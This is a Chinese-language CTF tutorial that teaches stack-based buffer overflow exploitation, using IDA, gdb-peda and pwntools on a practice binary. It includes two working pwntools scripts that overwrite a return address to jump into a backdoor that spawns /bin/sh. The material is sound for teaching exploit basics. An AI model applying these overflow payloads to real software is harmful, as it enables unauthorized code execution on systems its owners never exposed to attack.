”Pwn”是一個黑客語法的俚語詞 ,是指攻破設(shè)備或者系統(tǒng) 。發(fā)音類似“砰”,對黑客而言,這就是成功實施黑客攻擊的聲音——砰的一聲,被“黑”的電腦或手機就被你操縱。以上是從百度百科上面抄的簡介,而我個人理解的話,應(yīng)該就是向目標發(fā)送特定的數(shù)據(jù),使得其執(zhí)行本來不會執(zhí)行的代碼,前段時間爆發(fā)的永恒之藍等病毒其實也算得上是pwn的一種。
1. 準備階段
這里介紹一些在接下來的教程中用到的工具
ida——交互式反匯編器專業(yè)版(Interactive Disassembler Professional),人們常稱其為IDA Pro,或簡稱為IDA。是目前最棒的一個靜態(tài)反編譯軟件
peda——PEDA是Long Le在Blackhat2012黑帽會議中放出的Python腳本工具,它可以輔助黑客編寫EXP,可以運行在Unix/linux系統(tǒng)上。
gdb——UNIX及UNIX-like下的調(diào)試工具
pwntools——pwntools是一個CTF框架和漏洞利用開發(fā)庫,用Python開發(fā),由rapid設(shè)計,旨在讓使用者簡單快速的編寫exploit。
這些軟件的安裝教程都可以在百度或者谷歌搜索得到,這里就不一一介紹了
2. 初步分析
點擊此處下載例子
首先我們用ida打開這個文件
在左邊的列表找到main函數(shù),雙擊,
可以看到main函數(shù)的內(nèi)容

然后點擊右邊的匯編代碼,按下Tab或者F5,可以看到匯編代碼翻譯成了c語言

再雙擊vulnerable_function

可以看到,這個函數(shù)非常簡單,只是單純的讀取一串字符,然后儲存到buf里面
但是

開辟的緩存區(qū)只有0x48個字節(jié)大小,但是read最多可以讀取0x100個字節(jié),這樣就會造成緩存區(qū)溢出。
那知道了有緩存區(qū)溢出,我們究竟要怎么利用呢?
不用著急,接下來我會詳細的介紹如何利用。
3.原理解釋
首先,我們引入棧幀的概念。(知道棧幀的可以跳過這一部分)
平時,我們寫c / c++ 代碼的時候經(jīng)常會用到函數(shù),那究竟函數(shù)在底層如何實現(xiàn)呢?
就拿我們上面那個文件來說,在main函數(shù)那里,調(diào)用了vulnerable_function
在匯編代碼下面是這樣的

那么call 這個指令做了什么呢?
具體是
(1)將當前的EIP壓入棧中(EIP寄存器存放下一個CPU指令存放的內(nèi)存地址)
(2)轉(zhuǎn)移
還沒執(zhí)行call 時程序的內(nèi)存如下圖

esp:寄存器存放當前線程的棧頂指針
ebp:寄存器存放當前線程的棧底指針
執(zhí)行call之后的內(nèi)存如下圖

這里的0x0000067A是call? ? vulnerable_function的下一條指令儲存的位置
然后下一步就是執(zhí)行vulnerable_function里面的內(nèi)容
首先是
push ebp,把main函數(shù)的棧底指針壓入棧
然后
mov ebp,esp , ?把esp的內(nèi)容傳送到ebp那里 (實在不知道怎么描述。。。)
push? ? ebx ?,把ebx壓入棧
sub? ? esp, 44h ?,把esp減去0x44,實際上是開辟緩存區(qū)
call? ? __x86_get_pc_thunk_ax
add? ? eax, 19D9h ? 這兩個指令暫時先無視
sub? ? esp, 4 和上面一樣
執(zhí)行完這些命令后,內(nèi)存如下圖

假設(shè)程序正常運行,執(zhí)行到

還記得上面函數(shù)開始的時候那幾個壓棧操作嗎,這里就是把東西從棧中還原
mov? ? ebx, [ebp+var_4] 這句就不解釋了,很簡單
leave ,這個指令等價于 mov esp,ebp ,pop esp,
執(zhí)行到這里再看一下內(nèi)存

然后下一條指令就是ret,等價于pop eip,也就是執(zhí)行完pop eip之后,下一步就是執(zhí)行0x0000067F處的代碼
最后返回main函數(shù)之后就變成

跟call vulnerable_function之前的內(nèi)存狀態(tài)一模一樣
這里為了避免誤會,特地說一下,圖上的main函數(shù)還有vulnerable_function的棧幀其實也算是棧的一部分?。。?/b>
4.實戰(zhàn)開始
解釋完函數(shù)的調(diào)用過程之后,我們回到正題
在ida左邊的函數(shù)列表中,我們可以找到

一個后門函數(shù),會執(zhí)行system("/bin/sh");
這個函數(shù)的開始地址為0x00005F0
我們的目的就是利用棧溢出,控制程序運行這一個函數(shù)
接下來跟著我一步一步做
首先把程序放到linux下面,然后打開控制臺,輸入gdb ./tutorial1 (或者gdb ?tutorial1的位置)
這里默認已經(jīng)安裝好了準備階段所說的插件或者軟件
然后輸入pattern_create 150
會顯示類似下圖

然后把除了開頭和結(jié)尾的引號的所有內(nèi)容復(fù)制
然后輸入 r,把剛才復(fù)制的內(nèi)容粘貼進去

再回車
然后就會變成類似下圖的狀況

這個時候你一定很想吐槽,這里的Program received signal SIGSEGV (fault address 0x41344141) 又是什么鬼,(手動黑人問號??)
還記得我們上面原理解釋所說的東西嗎,這里的棧溢出其實就是把保存在棧中的 ebp ,ebx ,0x0000067F 全部給覆蓋掉,可以拉上一點,看一下寄存器的東西

EBP變成我們輸入的內(nèi)容了,而這里的0x41344141其實就是覆蓋掉了0x0000067F,代碼指示說執(zhí)行0x41344141處的代碼,但是系統(tǒng)說臣妾做不到啊,0x41344141不知道什么鬼東西啊,我執(zhí)行不下去啊,于是就發(fā)出哀號,然后我們就看到Program received signal SIGSEGV (fault address 0x41344141)了,這個時候,我們就相當于用輸入的東西,控制了程序。
這時候在控制臺輸入pattern_offset 0x41344141

這樣,我們就可以快速得知,esp到保存0x0000067F的地方一共有76個字節(jié),所以我們只要輸入76個任意東西,再加上后門的地址,就可以控制程序執(zhí)行后門函數(shù)
新建一個python代碼文件,輸入下面的代碼,#后面的東西只是注釋,可以不輸入
from pwn import *
p=process('./tutorial1') #打開本地程序
ret_addr=0x800005F0 ?#后門地址,這里地址跟上文有些不同,因為在ida中的地址和實際運行的地址有稍微一些差別
payload='a'*76+p32(ret_addr) ?#76個a再加上后門地址
p.sendline(payload) ? #發(fā)送payload
p.interactive() ? #開啟交互模式
p.close() ? ? ? ?#關(guān)閉
運行這個python代碼,就可以看到出現(xiàn)了$號,輸入ls等命令也能成功執(zhí)行,一般的題目都會在本地放一個flag文件,cat flag.txt之后就可以得到flag
---------------------------------------------------我是分界線---------------------------------------------------------------------------------------------------------------
上面的附件可能有點問題,在本地的話后門地址應(yīng)該會不同,導(dǎo)致利用失敗
http://pan.baidu.com/s/1bQUoGI
這個附件應(yīng)該是可以正常pwn掉的,python代碼大體還是一致的,只是改了下文件名,后臺地址,還有緩沖區(qū)長度
from pwn import *
p=process('./overflow_tmp')
back_addr=0x804846B
payload='a'*52+p32(back_addr)
p.sendline(payload)
p.interactive()
p.close()
整個教程到這里的結(jié)束了,如有不妥之處請指正,謝謝